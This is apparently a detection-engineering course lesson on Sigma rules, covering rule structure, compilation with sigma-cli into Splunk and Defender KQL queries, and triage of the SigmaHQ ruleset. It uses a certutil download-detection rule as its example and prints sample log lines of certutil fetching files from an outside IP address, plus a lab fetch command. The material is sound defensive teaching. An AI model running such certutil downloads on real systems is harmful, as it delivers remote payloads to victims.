Sigma rules

Vendor-agnostic detections compiled to any SIEM.

Advanced30 min · lesson 2 of 15

Before the shipping container, every port was its own puzzle. Cargo was packed to fit one ship's hold, then unloaded and repacked by hand for the next truck. Standardize the box and any crane, ship or truck can move anything. Sigma does that for detection logic. It is an open, vendor-neutral way to write down "this event looks suspicious" once, in YAML (a plain-text format for structured settings that a person can read without special tools), and then *compile* that description into the native query language of whichever SIEM (security information and event management, the platform that stores and searches all your security logs: Splunk, Elastic, Microsoft Sentinel) you happen to run.

Why care? A detection library written directly in Splunk's SPL (Search Processing Language) is a bill you pay later. Switch SIEM and somebody rewrites hundreds of queries by hand. It also kills sharing, because a KQL (Kusto Query Language) query is dead weight to a team running Elastic. Sigma separates *what to detect* from *where to run it*. That separation is what makes rules portable across vendors, reviewable as plain text in git, and shareable with strangers on the internet, which is exactly the set of properties the previous lesson asked detection as code to deliver.

What a Sigma rule is made of

Two sections do the real work. The logsource names the telemetry the rule applies to, in Sigma's own vocabulary rather than any vendor's: a category (a class of event, such as process_creation, dns_query or file_event), a product (windows, linux, aws), and sometimes a service (cloudtrail, sysmon). The detection section holds one or more named selections, which are lists of field and value pairs, plus a condition that glues them together with and, or, not and counting words like 1 of filter_* or all of them.

Field names can carry modifiers after a pipe character, and a modifier changes how the value is compared. CommandLine|contains looks for the text anywhere in the string. Image|endswith anchors to the tail of a path. |re switches to a regular expression (a small pattern language for matching text). |cidr matches network ranges written in CIDR notation (Classless Inter-Domain Routing, the 10.0.0.0/8 way of writing a block of addresses). |all demands every listed value instead of any one of them. |windash matches -, / and the Unicode dash lookalikes that turn up in Windows arguments. |base64offset catches a string at any of the three alignments it can land on once it has been Base64-encoded. Everything else in the file is metadata your operations depend on: a stable id (a UUID, a universally unique identifier, that survives renames), a status lifecycle (experimentalteststable), tags that map to MITRE ATT&CK techniques (ATT&CK is a public catalogue of Adversarial Tactics, Techniques and Common Knowledge, the moves attackers actually make), documented falsepositives, and a level running from informational to critical.

rules/win_certutil_downloader.yml
title: Certutil Used as a Downloader
id: 8a3d71f2-5b04-4d3e-9c1a-2f6e0b7c4d19
status: test
description: Detects certutil.exe fetching remote files, a classic living-off-the-land download (T1105).
references:
- https://lolbas-project.github.io/lolbas/Binaries/Certutil/
author: SecOpsLog
date: 2026-07-13
tags:
- attack.command-and-control
- attack.t1105
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\certutil.exe'
CommandLine|contains|all:
- 'urlcache'
- 'split'
filter_deploy_agent:
ParentImage|endswith: '\CcmExec.exe'
condition: selection and not 1 of filter_*
falsepositives:
- Admins manually caching certificate revocation lists
level: high

Read the condition from the bottom up. Fire when selection matches, meaning certutil.exe ran with both urlcache and split in its command line. That is the classic living-off-the-land download, where an attacker pulls a payload using a tool Windows already ships, so no new program has to land on disk first. Then hold fire if any filter_* selection also matches. Filters are where you record local knowledge. Here it is Microsoft Configuration Manager's client agent (CcmExec.exe), software deployment that spawns certutil for perfectly boring reasons. Values match case-insensitively by default, and * and ? wildcards work inside plain strings. That is why endswith on \certutil.exe beats a bare contains: it anchors to the executable name, so nobody slips past it with a lookalike folder name.

Compiling a rule with sigma-cli

pySigma is the Python library that parses rules, transforms them and writes out queries. sigma-cli is its command-line wrapper, and the thing you will actually type. Both replaced the old sigmac compiler, which was deprecated for years and had its repository archived in 2024, so close any tutorial that still mentions it. Conversion targets arrive as plugins. A backend knows how to write queries for exactly one platform, and you install only the ones you need.

compile to Splunk SPL
# one-time setup
pip install sigma-cli
sigma plugin install splunk
sigma plugin install sysmon
sigma list targets # confirm what you can compile to
# Identifier Target Query Language
# splunk Splunk SPL & tstats data model queries
# ...
# convert — repeated -p flags chain processing pipelines
sigma convert -t splunk -p sysmon -p splunk_windows rules/win_certutil_downloader.yml
# output (one SPL query, wrapped here for readability):
# source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
# Image="*\\certutil.exe" CommandLine="*urlcache*" CommandLine="*split*"
# NOT ParentImage="*\\CcmExec.exe"

Underneath, this is a compiler with three stages, the same shape as the toolchain that turns source code into a binary. pySigma parses the YAML into an abstract syntax tree, a tree-shaped version of the detection where each branch is one comparison. Processing pipelines then rewrite that tree, pointing Sigma's generic logsource at a concrete data source and renaming fields to whatever your environment calls them. Finally the backend walks the rewritten tree and prints it as query text. The two -p flags above chain pipelines in order: sysmon turns process_creation into Sysmon Event ID 1, then splunk_windows maps that onto Splunk's source and EventCode fields.

Inside a Sigma conversion
1rule.yml
vendor-neutral YAML
2pySigma parser
YAML → detection AST
3processing pipeline
logsource + field mapping
4backend
serialize AST as query text
5SIEM query
SPL · KQL · Lucene
Backends hold public query syntax. Pipelines hold your local schema. Swap either one and the same rule retargets.

Pipelines are where your own environment lives

That split between backend and pipeline is the idea worth keeping. Backends hold *query syntax*, which is public, stable and identical for everyone targeting that platform. Pipelines hold *your data*, which is local, drifts over time and is yours to maintain. Converting the identical rule for Microsoft's cloud EDR (endpoint detection and response, the agent that watches processes on laptops and servers) swaps both halves.

same rule, Microsoft Defender XDR (KQL)
sigma plugin install kusto
sigma convert -t kusto -p microsoft_xdr rules/win_certutil_downloader.yml
# output (one KQL query, wrapped here for readability):
# DeviceProcessEvents
# | where FolderPath endswith "\\certutil.exe"
# and ProcessCommandLine contains "urlcache"
# and ProcessCommandLine contains "split"
# and not(InitiatingProcessFolderPath endswith "\\CcmExec.exe")
# paste into Advanced Hunting — two hits on one workstation:
# Timestamp DeviceName AccountName ProcessCommandLine
# 2026-07-09 14:22:31 WKS-0142 j.alvarez certutil -urlcache -split -f http://185.220.101.4/a.dat a.dat
# 2026-07-09 14:23:02 WKS-0142 j.alvarez certutil -urlcache -split -f http://185.220.101.4/rb64.txt rb64.txt

Look at what the microsoft_xdr pipeline decided on your behalf. It picked the table (DeviceProcessEvents), renamed Image to FolderPath, CommandLine to ProcessCommandLine and ParentImage to InitiatingProcessFolderPath, and it carries a transformation that drops EventID fields outright, because in Defender XDR (extended detection and response) each Advanced Hunting table already implies its event type. If your log pipeline normalizes fields some other way, say to Elastic's ECS (Elastic Common Schema, a naming convention that gives every field one agreed name), you write one small custom pipeline file, and every rule you convert afterwards inherits that mapping for free.

Compiling is not detecting
A rule can convert without a single error and still ask for fields your telemetry never sends. ParentImage, for example, when your endpoint agent does not record parent processes. The query deploys, returns zero rows forever, and every dashboard stays a comforting green. Schema drift does the same damage later: an agent upgrade renames a field and a rule that worked yesterday dies without a sound. Validate every rule you import or author against real sample logs of the behavior before you trust it, and validate it again whenever the log pipeline changes.

The community ruleset: import with care

The SigmaHQ repository carries more than 3,000 curated rules covering Windows, Linux, macOS and every major cloud, which is coverage a team would need years to write from scratch. Bulk-importing the lot unchanged is a well-worn way to hurt yourself. Rules too broad for your environment bury analysts in noise, and rules that reference telemetry you never collect fail in total silence. Triage instead. Filter for status: stable or test and level: high or above, run sigma check for syntax and style problems, convert with --skip-unsupported, and stage the output through review before anything reaches production.

triage the SigmaHQ ruleset
git clone --depth 1 https://github.com/SigmaHQ/sigma.git
sigma check sigma/rules/windows/process_creation/
# === Summary ===
# Found 0 errors, 0 condition errors and 12 issues.
# No rule errors found.
# No condition errors found.
# (issue table follows: missing references, overlong titles, ...)
# bulk-compile everything the backend can express; skip the rest
sigma convert -t kusto -p microsoft_xdr --skip-unsupported \
-o compiled_process_creation.kql \
sigma/rules/windows/process_creation/
# rules the pipeline can't express are skipped instead of aborting the run —
# diff the output against the rule list to see what fell out

Inside a detection-as-code workflow this becomes mechanical. Rules live in git. A pull request triggers sigma check plus a conversion run in CI (continuous integration, the robot that builds and tests every change automatically). The compiled queries ship to the SIEM as build artifacts. Because every rule carries ATT&CK tags, the same repository doubles as a coverage map: sigma analyze attack renders it as an ATT&CK Navigator layer, so you see your gaps per technique on a screen rather than discovering them during an incident.

What Sigma will not do for you

Sigma describes *one event at a time*. Counting, thresholds and sequences across several events belong to Sigma correlation rules, a newer part of the version 2 specification with patchy backend support, and to your SIEM's own correlation engine, which this course covers later. Backend fidelity varies too. The |re modifier does not exist for targets whose query language has no regular expressions, and in that case conversion fails loudly, which is the good outcome, instead of quietly approximating your logic, which is the bad one. --skip-unsupported trades that loud failure for throughput on bulk jobs, and that is exactly why you audit what came out against what went in.

There is a money dimension as well. Compiled Sigma leans hard on contains-style matching, which becomes an unanchored wildcard search (*urlcache*) that no index can accelerate. At tens of terabytes ingested per day, a hundred sloppy rules is a real line on a real invoice. Prefer anchored fields (endswith on image paths). Scope each rule to the narrowest logsource that still works. And treat reading your compiled SPL or KQL as a skill you are expected to have, because the generated query, not the tidy YAML above it, is what your bill and your search latency respond to.

What Sigma buys you is portability and reviewability. What it cannot tell you is whether a rule catches an attacker in *your* environment. A conversion that succeeds proves the rule speaks your SIEM's language, and nothing else. Proving that it fires, by executing the real technique and watching the alert arrive, is a discipline of its own, and it is where the next lesson on testing detections picks up.

Try this

Convert one SigmaHQ-style rule with two different pipelines and check the field names against what your SIEM actually stores. If a field is missing from a sample event, the rule is not ready.

terminal
$ sigma plugin install kusto
$ sigma convert -t kusto -p microsoft_xdr rules/win_certutil_downloader.yml
DeviceProcessEvents
| where FolderPath endswith "\\certutil.exe"
and ProcessCommandLine contains "urlcache"
and ProcessCommandLine contains "split"
and not(InitiatingProcessFolderPath endswith "\\CcmExec.exe")
# Paste into Advanced Hunting against a lab device where you ran:
# certutil -urlcache -split -f http://127.0.0.1/test.dat test.dat
# Expect a row. Zero rows means pipeline or telemetry gap — not "no attacker."

Takeaway

Remember: write the behavior once in Sigma, and let pipelines and backends make it speak your SIEM. Compilation proves syntax, never coverage. Re-validate against real samples every time fields or agents change.

Next step: pick one living-off-the-land technique you care about, author a Sigma rule for it with an explicit filter for your own deployment tooling, and convert it with the pipeline your production logs really use.

Quick check
01A Sigma rule converts to KQL with zero errors, deploys to your SIEM, and then returns zero rows for weeks. You know for certain the technique it targets is running in your environment. What is the most likely explanation?
Incorrect — No. An unsupported modifier is a hard error at conversion time, so the rule would never have compiled cleanly in the first place.
Correct — Conversion proves the rule speaks your SIEM's syntax and nothing else. It has no idea whether your logs carry that field, so the query deploys and returns nothing forever.
Incorrect — No. status is lifecycle metadata used for triage and filtering. It never gates execution, and an experimental rule runs exactly like a stable one.
Incorrect — No. not 1 of filter_* only drops events that match a filter, like the CcmExec.exe one. It cannot suppress everything unless a filter matched every single event, which is not what the scenario describes.
02In the command sigma convert -t kusto -p microsoft_xdr rules/win_certutil_downloader.yml, how is the work divided between the backend (-t) and the pipeline (-p)?
Incorrect — Backwards. Your local field names are the part that drifts and belongs to you, so they live in the pipeline. Query syntax is public and shared, so it lives in the backend.
Correct — microsoft_xdr is what chose the DeviceProcessEvents table and renamed Image to FolderPath. The kusto backend only knows how to write valid KQL.
Incorrect — No. Only the backend serializes the tree into query text. Chained -p flags chain pipelines, like -p sysmon -p splunk_windows, and each one rewrites the tree before the backend ever sees it.
Incorrect — No. Syntax and style validation is what sigma check does, and neither component decides what is safe to deploy. That call belongs to your review process.
03You bulk-convert the SigmaHQ process_creation folder with sigma convert -t kusto -p microsoft_xdr --skip-unsupported -o compiled_process_creation.kql .... The command finishes with no errors and writes the output file. What do you do first?
Incorrect — No. --skip-unsupported is precisely the flag that turns a hard failure into a silent skip. A clean exit tells you the run finished, not that every rule made it into the file.
Correct — You traded loud failures for throughput, so the audit is now your job: compare what came out against what went in, record the gaps, and review the rest before anything reaches production.
Incorrect — Half right and half wrong. Dropping the flag does surface the loud failures, which is useful. But an error means this target's query language cannot express that rule, not that the rule is faulty, and discarding it quietly loses coverage you never recorded.
Incorrect — No. status is triage metadata and never gates execution, so editing it changes nothing about whether a query runs. It only misleads the next person who filters on it.

Related